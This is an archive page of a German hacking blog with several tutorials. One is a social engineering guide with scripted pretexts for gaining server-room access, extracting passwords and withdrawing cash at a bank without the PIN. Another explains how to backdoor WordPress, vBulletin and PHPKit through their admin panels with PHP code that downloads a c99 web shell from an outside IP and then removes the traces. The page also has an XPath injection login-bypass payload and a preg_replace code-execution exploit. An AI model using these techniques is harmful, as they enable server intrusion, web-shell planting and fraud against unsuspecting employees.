Kategorie ‘Sonstiges’

[Exkurs] – Basismethoden des Social Engineering

20. Januar 2010


Vorbemerkung:

Thematisch passt dieser Beitrag nur bedingt in das Schema unseres Blogs, doch gehört zur Sicherheit, und insbesondere Sicherheitsrisiken auch der nicht-technische Faktor, der eine große Rolle spielt.
Aus diesem Grund möchte ich den, von mir verfassten Text auch hier zur Verfügung stellen, sozusagen als kleinen Exkurs in das Gebiet der menschlichen Fahrlässigkeit.

______________________________________________________


Einleitung:

Die Welt ist übersäht mit Fehlern.
Sie treffen jeden und überall.
Machen keinen Halt vor wirtschaftlichen Entwicklungen, Kriegen und Krisen.
Ob auf dem Schreibtisch des Regierenden, Top-Managern, oder auf großen Ansprachen – Fehler können leicht entstehen.
Die Quelle aller Fehler ist aber meistens dieselbe: Der Mensch

Er neigt zu Fehlentscheidungen , Irrtümern, und Prognosen, die keine sind.
Die Ursache ist eine Stufe unserer Entwicklung, die uns zum Individuum macht, die Emotion.

Beeinflussung findet um uns herum statt, zumeist intuitiv und subtil, um auf sein Gegenüber zu reagieren.
Die Welt lebt von der Information, dessen Besitz zu großer Macht und Ansehen führen kann.
Keine Methode ist daher sinnvoller, um an Informationen zu kommen, als die Schwachstellen des Menschen auszunutzen, und bei dem Punkt anzufangen, an dem die Selbstkontrolle des menschlichen Empfindens endet.
Die Anwendungsfelder sind hierbei nahezu unendlich, hervorgerufen durch die vielen Faktoren, die unser tägliches Leben bestimmen, und immer wieder aufs neue auf die Entscheidungsfähigkeit einzelner Personen angewiesen sind.

Zunächst sollte man generell ein psychologisches Gespür haben, redegewandt und rhetorisch begabt sein. Informationen fliegen einem in der Regel nicht zu, und um selbige zu bekommen benötigt man Ausdauer und viel Kreativität.
Natürlich kann man den ganzen Prozess in einer Form einteilen und kategorisieren – Die folgende Auflistung soll nun einige Basismethoden aufzeigen:


1. Mimikri

Mimikry ist eigentlich ein Begriff der Biologie, der ein Verhalten von Tierarten bezeichnet, die andere Arten nachahmen und zu imitieren versuchen.
Beispiele für dieses Verhalten sind eine Reihe von Tiefseefischen, die mittels eines leuchtenden Fortsatzes auf dem Kopf, kleine Würmer oder Plankton nachahmen um Beute anzulocken, oder Schmetterlinge, dessen Muster auf den Flügeln, dem Feind vorgaukeln, es mit einem gefährlichen Tier zu tun zu haben.

Um Informationen zu bekommen ist dieses Verhalten eine äußerst lukrative Goldgrube, da sie sich auf nahezu jeden Persönlichkeitstyp anwenden lässt.
Zunächst sollte man sein Ziel beobachten, um etwas über seine Verhaltensweisen zu erfahren. Das geht nicht von heute auf morgen, und man sollte zunächst einfach eine lockere Kommunikation mit dem Ziel beginnen, und genau beobachten, wie diese Person redet, charakterlich erscheint, wie ihre Ansichten zur Welt generell sind aber natürlich auch Hobbies und das Privatleben. Mimikry bedeutet in diesem Fall nicht das bloße Kopieren des Gegenübers, welches möglicherweise als Respektlosigkeit interpretiert werden könnte, sondern eher das subtile Vorgehen sich der Persönlichkeit seines Gesprächspartners anzugleichen.

Redewendungen und kleinere Zwangshandlungen sind ein wunderbarer Ansatz, um ins Vertrauen mit dem Gegenüber zu kommen.
Der Mensch ist intuitiv so programmiert, er sich in einer gewohnten Umgebung wohlfühlt.
Dies tritt, analog dazu, auch bei dem Wiederfinden seiner eigenen Ansichten, und Angewohnheiten, bei anderen Personen auf, und baut automatisch ein gewisses Basisvertrauen auf.
Es hilft hierbei schon, Floskeln und Handlungen des Ziels geschickt zu wiederholen, und sich verstärkt auf die Gemeinsamkeiten zu konzentrieren.

Man unterscheidet hierbei zwischen der bewussten und der unbewussten Beeinflussung.
Das mitteilen vom gemeinsamen Musikgeschmack, über ähnliche politischen Ansichten , bis hin zum Traumreiseziel, ist der bewussten Beeinflussung zuzuschreiben, da man das Ziel direkt zu einer Wertung „zwingt“ und weil die Kommunikation in ihrer wörtlichen Form generell ein sehr direkter Weg ist, die Information zu vermitteln.
Die Unbewusste Beeinflussung beschreibt eher das Mitteilen seines eigenen Verhaltens, durch lockeres, freundliches Auftreten, Zuverlässigkeit und bei Bedarf auch den Anwendungen des Mimikry.

Hat man es etwa mit einer gebildeten Person mittleren Alters zu tun, ist es unumgänglich auf Formalitäten zu achten, nicht respektlos zu erscheinen und besonders im Gebiet Rhetorik, Kraftwörter und Slangbegriffe zu vermeiden.

Selbstverständlich ist dieser strikte Rahmen nicht immer vonnöten, sei es zum Beispiel in einem Konfliktgespräch mit einem Teenager:
Vertrauen gewinnen kann der Sprecher eher durch das Zeigen von Verständnis für die Situation des Heranwachsenden. Anstatt also den sprichwörtlichen Teufel an die Wand zu malen, ist es nie verkehrt sich für das Umfeld der Person zu interessieren, dieses zu hinterfragen. Rhetorisch lässt sich auf subtile Art und Weise natürlich sehr gut Vertrauen gewinnen, allein durch benutzen derselben Wortwahl und Gestiken.

Diese Form erfordert in der Regel eine längere Aufbauphase, da es beim Mimikry besonders auf das Vertrauen ankommen. Ist man zeitlich also nicht sehr eingeschränkt sollte man diese Methode unbedingt ausprobiert haben.


2. Hektik

Sie begleitet uns durch das tägliche Alltagsleben, ganz gleich ob der Chef einen Stapel Arbeit bereit hält, oder der Lehrer umfangreiche Aufgaben stellt.
Hektik ist dort, wo Arbeit und Zeitdruck aufeinandertreffen und Menschen in Hektik neigen dazu, mit Scheuklappen durch die Welt zu rennen und möglichst schnell ihre Arbeit beenden zu wollen.
Den meisten Menschen, die in Hektik sind, begegnet man nur ungerne, doch in diesem Falle, wird er zum schwächsten Glied der Kette.
Beispiel:
Ein Unternehmen besitzt einige Räume, dessen Zugang nur durch Karten oder Schlüssel gewährleistet ist, die auch nur ranghöhere Mitarbeiter besitzen.
Allerdings wäre es hochinteressant einen Blick ins Innere zu werfen, und man benötigt etwas Hilfe.
Wenn man das Unternehmen kennt, weiß man auch, wer Zugang zu den entsprechenden Räumen hat. Ist dieser Mitarbeiter dann sogar noch relativ neu, wird er unsicherer sein, als seine Kollegen, die schon länger im Betrieb sind.
Das wichtigste ist, den Moment abzupassen, wenn der Mitarbeiter eigentlich gar keine Zeit hat, und sowieso nur schnell etwas erledigen möchte.
Hier greift man dann schnell ein:
„Entschuldigen Sie, ich möchte Sie gar nicht lange stören. Ich müsste nur einmal kurz in den Serverraum .. den Mailclient neustarten.“
So, oder anders, könnte man zum Beispiel dem Mitarbeiter begegnen.
Wenn dieser wirklich keine Ambitionen hat sich großartig darum zu kümmern, und ihm die Arbeit über den Kopf wächst, wird er schnell den Raum aufsperren, und weiter seiner Arbeit nachgehen. Das ist keine Garantie, doch neigen Menschen in Hektik dazu ihre moralischen Verpflichtungen und Verantwortungen beiseite zu schieben.


3. Rhetorik und ihre Wirkung

Es ist entscheidend, wie man mit Leuten kommuniziert, besonders wenn man Informationen erlangen will.
Sind diese Informationen gar geheim, müssen ein paar Basics bereits vorhanden sein, damit man nicht in Schwierigkeiten gerät.

-Aufregung ist auffällig. Möchten sie geheime Daten erschleichen, muss das Gespräch abgeklärt wirken. Verhaspelt man sich, oder gerät ins Stottern, wird der Gesprächspartner misstrauisch und verweigert sich dem Gespräch, oder ergreift sogar Maßnamen, die den Angreifer in große Schwierigkeiten bringen können.
-Man sollte spontan sein. Ändert der Partner seine Meinung, oder beginnt unangenehme Fragen zu stellen, darf man um keine falsche Antwort verlegen sein, und so antworten, als wäre alles völlig legitim.

Möchte man zum Beispiel das Passwort des Servers in Erfahrung bringen, ist es oft ein sinnvoller Ansatz, dem Gegenüber subtil mitzuteilen, dass man das Passwort ja eigentlich schon kennt, aber vergessen hat.
Verbunden mit einer ruhigen und entspannten Stimmlage wird das Opfer vermutlich auch kein Misstrauen schöpfen.

„Ich werde gerade schnell ein Backup für Herrn XY machen …. Wie war denn noch mal das Passwort? Ich kann mir so was nie merken.“

Man muss dem Opfer also das Gefühl geben, dass man über alles Bescheid weiß, und sich nur noch einmal kurz vergewissern möchte.
Dieses Spielchen lässt sich natürlich mit vielen Mitarbeitern wiederholen, falls die Methode anfangs nicht funktioniert.
Gerade Satzfragmente wie „eben schnell“ oder „wie war doch gleich?“ entsprechen dem alltäglichen, unkomplizierten Umgangston, und wirken nicht befremdlich.


4. Der Herr und sein Hund

Es kann passieren, dass die nette Schiene nicht funktioniert und man muss eine Spur drastischer vorgehen.
Hier gelten die Stichworte Respekt und Dominanz, denn das Ziel dieses Weges ist es, Präsenz auszustrahlen, und so einfach an Informationen zu kommen.
Um dies zu verdeutlichen, ein kleines Beispiel:

An einer Bank gibt es mehrere Möglichkeiten Geld abzuheben.
Zum einen gibt es Geldautomaten, Kassenautomaten und die Schalter, an denen die Mitarbeiter zu finden sind.
Der Aspekt „Dominanz“ impliziert, dass man dementsprechend wirken muss.
Ein Beispiel wäre die Rolle eines vielbeschäftigten Geschäftsmannes, der mit Aktenkoffer, Anzug und viel zu wenig Zeit die Filiale betritt.
Ziel ist es, zunächst als sehr gestresst zu erscheinen, indem man genau darauf achtet, häufig auf die Uhr zu schauen, umherzulaufen oder eventuell sogar zu telefonieren, während man darauf wartet, dass man an der Reihe ist.
Da das Abheben am Geldautomaten aber nicht das Ziel ist, denn eventuell ist es nicht die eigene Karte und man hat keine PIN, muss man sich so verhalten, als funktioniere etwas am Automaten nicht richtig, sodass man zu einem der Schalter muss, um Geld abzuheben.
Schnell muss man sich entscheiden, an welchen Schalter man sich anstellt.
Unerfahrene jüngere Angestellte sind hier geeigneter, da sie den Arbeitsablauf oft noch nicht gewohnt sind, und sich leichter einschüchtern lassen.
Hat man den/die richtige/n Angestellte/n gefunden könnte man wie folgt vorgehen:

Sie: Hallo, wie kann ich Ihnen Helfen?
Ich: Ich habe folgendes Problem und hoffe sie können mir da schnell helfen.
Ich benutze nur Online-Banking bei diesem Konto und habe daher meine PIN vergessen und brauche jetzt dringend Bargeld von diesem Konto.
Sie: Sie können auch Geld am Kassenautomaten abheben und können zusätzlich eine neue Karte beantragen. Denn wenn sie den PIN vergessen haben, ist es das einzige was wir für sie machen können.
Ich: Entschuldigen sich mich einen Moment (Mein Handy Klingelt)
Ich: Ja bitte!
Nein
OK
Ich bin noch bei der Bank, das geht hier aber schnell
Ok, warte du schon beim Anwalt auf mich.
Ich: Tut mir leid, dann würde ich gerne eine neue Karte beantragen
und Geld vom Kassenautomaten abheben.
Sie: Ok, dann folgen sie mir bitte, mein Kollege füllt mit ihnen zusammen
die Formulare aus.
Ich: Können Sie dann für mich das mit den Kassenautomaten erledigen?
Sie: Ja klar.

Das Ausfüllen der Formulare für eine neue Karte ist nicht notwendig, und man sollte es nur so erscheinen lassen, um kein Misstrauen zu erregen.
Es wäre denkbar, dass die Angestellte persönliche Informationen wie den Personalausweis benötigt. An dieser Stelle könnte man wieder das Schema „Hektik“ anwenden, und ein wichtiges weiteres Telefonat vortäuschen, und genervt und eilig wirken, so kann man den/die Mitarbeiter/in einschüchtern, sodass man einige Prozeduren umgehen kann.
Während der Gespräche sollte man sehr selbstsicher und authentisch wirken, sodass man vertrauenswürdig, und zugleich dominant erscheint.
Mit etwas Glück erreicht man anschließend das Ziel, wenn der/die Mitarbeiter/in das Geldabheben gewähren lässt.
Das Ausfüllen der Formulare für die neue EC-Karte kann man dann schnell beenden, mit der Ausrede, das man zu einem dringendem Meeting muss.
Bei dieser Methode wird deutlich, dass man verschiedene Methoden kombinieren kann, um sein Ziel zu erreichen. In diesem Falle „Dominanz“ und „Hektik“.


5. Wie dreht man den Spieß um?

Gerne wendet man selbst Methoden des Social Engineering an, um Schwächen von Personen auszunutzen und Informationen zu bekommen.
Doch was passiert, wenn man selbst ins Visier gerät?
Dies kann bereits bei einem Verkaufsgespräch geschehen, wenn man als „unwissender“ Bürger Beratung bezüglich zukunftsträchtiger Anlagefonds oder Anleihen sucht.
In diesem Fall sucht sich der Berater die Schwachstellen, und erzählt, wie viel Gewinn man doch machen könnte bei einem so „sicheren und stabilen“ Angebot.
„Der Fond ist zwar in den letzten Monaten gefallen, aber Untersuchungen haben gezeigt, dass die Lage sich wieder stabilisiert. Dieser Fond hat ein sehr großes Wachstumspotenzial.“
Diese Sätze kennt man häufig, und wenn der Berater nichts taugt, ist das Geld auch schnell weg – zum einen in der Provision des Beraters und zum anderen im Schuldenloch.
Zu Lehman Brothers Zeiten waren Kunden die nicht Bescheid wussten ein gefundenes Fressen für die ausgebildeten Rhetoriker. AD-Kunden wurden sie genannt, „Alt und doof“.

Wie wendet man also das Blatt? Man muss über die Materie bescheid wissen.
Geht man in ein Gespräch und merkt, dass der Berater nur verkaufen möchte, ist es zum Beispiel möglich, ahnungslos zu tun und nur das beste für sein Kapital zu wollen.
Man analysiert die Strategie so lange, bis man weiß, wie der Berater sein Geschäft machen möchte, und zeigt dann sein wahres Gesicht. Man hat den Berater längst durchschaut, sich im Kopf bereits imaginäre Notizen gemacht und holt dann zum Rückschlag aus: „Sie sagten dass der Fond […] , ich habe recherchiert und die Risiken sind beträchtlich höher, wie sie es darstellten. […]“
Man überrumpelt die Zielperson, und macht sich selbst als Opfer unattraktiv.

Dies kann man auf viele Situationen anpassen und ist eine wirksame Möglichkeit sich selbst zu schützen, allerdings nicht ganz ohne Mühen und Vorwissen.


Fazit:

Die hier aufgezeigten Methoden zum erfolgreichen Manipulieren und Kontrollieren von Verhaltensmustern sind essentiell und sehr nützlich, gerade aus dem Grund, dass sie sich ohne Probleme kombinieren lassen.
All das geht nicht in kurzer Zeit, nach dem Motto: „Ich lerne mal eben dies … und das .. und mache dann .. „ sondern erfordert viel Zeit und Übung.
Es gibt unzählige weitere Strategien, die denen hier aufgeführten ähneln.
Eventuell wird es weitere Texte zu diesem Thema geben.

Mit freundlichen Grüßen
Lidloses_Auge

Lidloses_Auge Sonstiges

NovuSec back on the road

14. Dezember 2009

Kleinere Probleme mit dem Server haben für ein paar Tage den Betrieb brach liegen lassen,
doch kurzerhand wurde dieser wieder aufgenommen.

Wir wünschen Ihnen weiterhin einen angenehmen Aufenthalt auf NovuSec.com

Lidloses_Auge Sonstiges

XPath Injection – Es geht auch ohne Datenbank

2. Oktober 2009

Verschiedene Arten sich Zugang zu Backends zu erschleichen wurden hier bereits vorgestellt.
Zumeist werden dafür Datenbanksysteme in Verbindung mit Skriptsprachen wie PHP verwendet,
um einen User zu Authentifizieren.
Eine Möglichkeit des Login Bypasses, die man bereits aus der SQL Injection kennt, finden wir auch in anderen Bereichen wieder:

Ein XML Dokument kann auch als Speicher von Nutzerdaten dienen, und dem Login dienen.
Dieses Dokument könnte simpel gestrickt wie folgt aussehen:

1
2
3
4
5
6
7
8
9
10
<users>
	<user>
		<username>test</username>
		<password>abcd</password>
	</user>
	<user>
		<username>root</username>
		<password>YouKnowSomethingAboutXPath</password>
	</user>
</users>

Wir sehen die typische Baumstruktur der Auszeichnungssprache XML und die Nutzerdaten.
Ein unsicheres simples Login Skript kann in PHP so realisiert werden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
	<form action = "" method="POST">
		<input type="text" name="user"><br>
		<input type="passwort" name="pass"><br>
		<input type="reset" value="Reset">
		<input type="submit" value="Senden">
	</form>
<html>
<?php
	$user = $_POST['user'];
	$pw = $_POST['pass'];
	$xmldoc = new DOMDocument();
	$xmldoc->load('test.xml');
	$xpathvar = new Domxpath($xmldoc);
	$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");
 
	foreach($queryResult as $result){
		echo "Login erfolgreich!<br>Username und Password: ".$result->textContent."<br>";
	}
?>

Zum Ansteuern der einzelnen Elemente wird hier das Dokument Objekt Modell (DOM) verwendet.
Auch hier kann man Queries starten, die den XML Baum durchsuchen können.

Die Zeile, welche sich hier ausnutzen lässt ist die Query Zeile:
$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");

Ist magic_quotes_gpc deaktiviert lässt sich der aus dem SQL Injection Bypass bekannte Payload einfügen:
root' or '1'='1

Dies führt zu folgendem Resultat:
$queryResult = $xpathvar->query("//users/user[username/text()='root' or '1'='1' and password/text()='']");

Der Operator ‘or’ verwandelt den Ausdruck in “TRUE” und lässt den User passieren.

Wie sich hier also erkennen lässt, gibt es zahlreiche Methoden, einen Login zu umgehen, jenseits von SQL und Co.
Generell lassen sich XML Dokumente auch mit SAX(Simple API for XML) oder StAX (Streaming API for XML) ansteuern.

Lidloses_Auge Sonstiges

Adblock detection without JavaScript

25. August 2009

Hab mich heute wieder mal mit AdBlock beschäftigt und probiert eine detection ohne Javascript hinzubekommen.
Das Prinzip ist wieder sehr simpel.

Hier erstmal der Test

Hier der Code:

1
2
<div id="ad" style="position:absolute;"><img src="http://imgserv.sponsorads.de/endwelt/banner.php"></div>
<div><img src="http://i29.tinypic.com/70geix.jpg"></div>

Erklärung:
Es liegen 2 Div’s übereinander. Wenn Adblock an ist, wird der Div mit der id “ad” blockiert und die Div box darunter wird angezeigt. Dabei zu beachten ist, dass beide DIV Boxen mindestens gleichgroß sein sollten.

Wenn dazu noch Fragen sind, einfach ein Kommentar hinterlassen.

Player Sonstiges

NovuSec wieder online

9. August 2009

. [ Show ] in English

Es ist einer der Tage, an dem man auf seine Feeds schaut und feststellen muss, es ist Sonntag
und niemand hat etwas zu berichten.
Hier ist es anders:

NovuSec ist wieder online, und befindet sich auf einem anderen Server.
Um mehr Transparenz zu schaffen, ist zudem ein Newsletter System geplant,
welches ggf. informieren soll, auch wenn die Seite durch Umbauarbeiten nicht
erreichbar ist.
Es werden selbstverständlich auch einige neue Artikel folgen, reinschauen lohnt sich.

Einen angenehmen Aufenthalt.

Lidloses_Auge Sonstiges

Browser erkennung

29. Juni 2009

. [ Show ] in English

Ein simpler Code, womit man durch HTML den Browser des Besuchers erkennen kann.
Das Besondere daran ist, dass man dazu kein PHP oder Javascript verwenden muss.

1
2
3
4
5
6
7
8
9
<img
   /src\x00="ie.gif"
 /''src\x00="ff1_5.gif"
 /''src="ff2_0.gif"
 /""src="gecko_others.gif"
   "s\x00rc="safari2.gif"
   "src="safari3.gif"
    src\x0c="opera.gif"
/>

Player Sonstiges

NovuSec now also in english language

10. Juni 2009

Some of our articles are now available in english language too.
Because we don’t create complete new articles in english, we
just appended them at the end of the german ones.

You just have to click on “[ Show ] Article in English” at the top of every article and you can view
the english text.
. [ Show ] in English


There will be more translations in future.

We hope to get some more international visitors.
Sincerly

Lidloses_Auge Sonstiges , , , ,

Webspace Werbung Bypass

28. Mai 2009

. [ Show ] in English

Viele kennen mit sicherheit das Problem: Super FreeWebspace gefunden, mit allem was man braucht, nur wird immer eine lässtige Werbung eingeblendet.
Hier möchte ich Euch nun Möglichkeiten vorstellen, wie man diese Werbung umgehen/bypassen kann.

Methode 1:
Eine Variante ist es, dass das Werbescript den HTML oder BODY Tag sucht und dahinter die Werbung einfügt.
Dabei reicht es, wenn man auf seiner homepage das </body> und/oder </html> entfernt.
Nun kann das Werbescipt die Tags nicht mehr finden und kann daher auch nicht die Werbung einfügen.

Methode 2:
Manche Werbescript suchen einfach das Ende der Homepage und fügen dort die Werbung ein.
Bei der Variante reicht es aus, wenn man nach dem Tag folgendes einfügt: <!--
Damit leitet man in HTML ein Kommentar ein bis man es mit --!>
schließt. Da wir die Kommentierung nicht schließen, wird alles danach auskommentiert und auch nicht dargestellt. Somit wird auch die Werbung ausgeblendet.

Methode 3:
Wenn keine der oben erwähnten Methoden funktioniert, kann man manchmal die Werbung auch mit CSS ausblenden.
Wenn die Werbung z.B. in DIV-Tags dargestellt wird und eine ID hat, kann man die DIV-Box mit CSS ausblenden.
Manche hoster stellen am ende einfach ein Bild dar, dieses kann man auch mit CSS durch ein leeres ersetzen.
Da es von Werbung zu Werbung unterschiedlich ist, kann man auch kein fertiges Script anbieten.
Wenn jemand bei dieser Methode hilfe braucht, kann ich gerne helfen.

VORSICHT:
Die Anbieter haben das gute Recht mit Werbung ihr Geld zu verdienen, daher ist es in fast allen Fällen verboten die Werbung auszublenden. Wenn der Webmaster es herrausfindet werdet Ihr warscheinlich vom Webspace gekickt.

Player Sonstiges, Text Tutorials

Backdoor CMS/Board via ACP

8. Mai 2009

. [ Show ] in English

Hier möchte ich euch gerne Möglichkeiten vorstellen, wie man unterschiendliche CMS/Boards Backdooren (PHP-Shell uploaden) kann.
Die Möglichkeiten setzen vorraus, dass man sich als Administrator einloggen kann.

[+] Wordpress
Im Admin-Panel wechselt Ihr zu den Menüpunkt “Plugins”. Dort sucht Ihr ein Plugin, dass bereits aktiviert wurde und geht dort auf “Bearbeiten”.
Nun gibt es 2 Möglichkeiten:
1) Ihr schreibt in das Plugin den kompletten Quellcode eurer Shell rein und ruft die Datei wie folgt auf:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

Nachteil bei der Variante ist, dass das Plugin anschließen nicht funktioniert und es zu Fehlermeldungen kommen könnte.
2) An oberster Stelle des Plugins schreibt Ihr folgenden Code und speichert das Plugin ab:

1
2
3
4
5
6
7
<?php
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("Sh3ll.php","w+");
fwrite($fp, $code);
fclose($fp);
?>

Wenn Ihr nun das Plugin über den Browser aufruft:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

wird in den Ordner des Plugins automatisch die Datei mit eurer Shell gedropped. Diese könnt Ihr dann wie folgt aufrufen:

http://site.de/wp-content/plugins/plugin-name/Sh3ll.php

Nun dürft Ihr nicht vergessen, den Code Schnippsel aus den Plugin wieder zu entfernen,
da sonst immer wieder versucht wird die Shell zu erstellen und dadurch wieder unnötige Fehlermeldungen entstehen könnten.

[+] vBulletin
Ihr geht im Admin-Panel auf “Add-ons & Plug-ins” > “Add-ons verwalten” > “[Add-on hinzufügen/importieren]“.
Jetzt erstellt Ihr auf Euren PC eine XML-Datei (z.b. shell.xml) und schreibt folgenden Inhalt rein:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="ISO-8859-1"?>
<product productid="shell" active="1">
<title>vBulletin</title>
<codes>
<code version="2.0">
<installcode><![CDATA[
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("includes/Sh3ll.php","a+");
fwrite($fp, $code);
fclose($fp);]]></installcode>
</code>
</codes>
</product>

Diese Datei Importiert Ihr nun über den entsprechenden Menüpunkt.
Wenn das Add on fertig installiert wurde, findet Ihr eure Shell unter der URL:

http://site.de/includes/Sh3ll.php

Um eure Spuren nun zu verschleiern, könnt Ihr das Addon wieder löschen, unter:
“Add-ons & Plug-ins” > “Add-ons verwalten”

[+] PHPKit
Über das Admin-Panel auf
“Inhalte” > “Inhalt verfassen” > “Download hinzufügen” > {beliebig} > “Download suchen / hinzufügen” > {Shell Uploaden}
Das wars auch.
Nun könnte Ihr die Shell über den Link http://site.de/content/download/shell.php aufrufen

Um euch nun vor solchen “Angriffen” zu schützen, reicht es aus, wenn Ihr das Admin-Panel per htaccess schützt.

Demnächst werden noch mehr möglichkeiten folgen.

Player Sonstiges, Text Tutorials

Exploiten von preg_replace – RegEx Injection – Remote Code Execution

19. April 2009

. [ Show ] in English

Code Executions gehören seit Jahren zu den am weit verbreitesten
Sicherheitslücken in Web-Applikationen.
Sie tummeln sich dort, wo Befehle wie “eval”, “system”, “passthrough”
etc. in einem unsicheren Kontext verwendet werden, und dem User die volle
Kontrolle über den Server ermöglichen, sofern er denn seine Möglichkeiten
auszuschöpfen weiß.
Doch Code Executions sind in weitaus mehr Fällen möglich, als man zunächst
annehmen könnte.
Ein interessantes Beispiel dessen ist die PHP Funktion “preg_replace”.

Im Grunde ist es eigentlich nur zum substituieren von bestimmten Strings
gedacht, indem man per RegEx Suchmuster(PCRE = Perl compatible regular expression)
einen bestimmten String durch einen anderen ersetzt.
Ein Beispiel dessen wäre:

1
echo preg_replace('/Perl/','C++','Als nächstes lerne ich Perl');

Der String ‘Als nächstes lerne ich Perl’ wird per RegEx Suchmuster nach ‘Perl’
durchsucht, und mit dem Replacement ‘C++’ ersetzt.
->

1
Als nächstes lerne ich C++

Dies mag einen zunächst sehr sicher vorkommen, was es in diesem Fall auch ist,
doch besitzt die preg_replace Funktion eine Reihe von Optionen, die wir uns nun
näher anschauen möchten.

Einen Parameter, kennt man bereits aus Perl. Dies ist der “e” Modifizierer,
mit dessen Hilfe man Perl Code direkt in der Kommandoleiste ausführen kann,
wenn man den gewünschten Code mitsamt der “-e” Option übergibt.
Einen ganz ähnlichen Effekt hat der e Modifizierer in der PHP eigenen preg_replace
Funktion. Das Replacement wird dadurch als PHP Code interpretiert und wird, bei
korrekter Syntax, zur Ausführung kommen.

Ein Beispiel für einen Aufruf mit e Modifizierer:

1
echo preg_replace('/.*/e','strtoupper("$0")','Ein Test der Methode');

Zunächst erkennen wir das gewohnte Schema…
Der String ‘Ein Test der Methode’ wird durch ’strtoupper(“Ein Test der Methode”)’
ersetzt. Ansich ist das nichts besonderes, doch die Option e evaluiert diesen String
nun, sodass wir folgende Ausgabe erhalten:

->

1
EIN TEST DER METHODE

Man sollte meinen, es sei nun ein leichtes, eigenen PHP Code einzuschleusen,
und testet es zunächst wie folgt:

1
echo preg_replace('/.*/e','strtoupper("$0")','phpinfo()');

Der e Modifizierer sollte seine gewohnte Arbeit erledigen, doch die Ausgabe spricht
eine andere Sprache…

->

1
PHPINFO()

Tatsächlich ist es so, dass man mittels der Curly Brackets Notation, den String eingrenzen
muss, was in der Praxis dann wie folgt aussehen könnte.

1
<?php echo ${phpinfo()}; ?>

Beim ausführen dieses Code Schnipsels bemerken wir, dass diese Notation fehlerfrei ist,
doch setzen wir dies nun in unsere Funktion ein geschieht folgendes:

1
echo preg_replace('/.*/e','strtoupper("$0")','${phpinfo()}');

->

1
2
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: 
   Failed evaluating code: strtoupper(&quot;${phpinfo()}&quot;) in C:\xampp\htdocs\exec.php on line 13

Durch das Parsen des Strings kommt es offenbar zu unerwünschten Ersetzungen, sodass diese Notation
nicht fehlerfrei evaluiert werden kann.
Abhilfe schafft man mit einem kleinen Bypass, indem man um den String jeweils noch geschweifte Klammern
setzt.

1
echo preg_replace('/.*/e','strtoupper("$0")','{${phpinfo()}}');

Die Ausgabe bestätigt, dass das Ausnutzen der Lücke erfolgreich war,
es bedurfte nur der “complex syntax” in PHP und einem kleinen Bypass.

Viel Spaß
Lidloses_Auge

Lidloses_Auge Sonstiges, Text Tutorials

Pages: 1 2 Next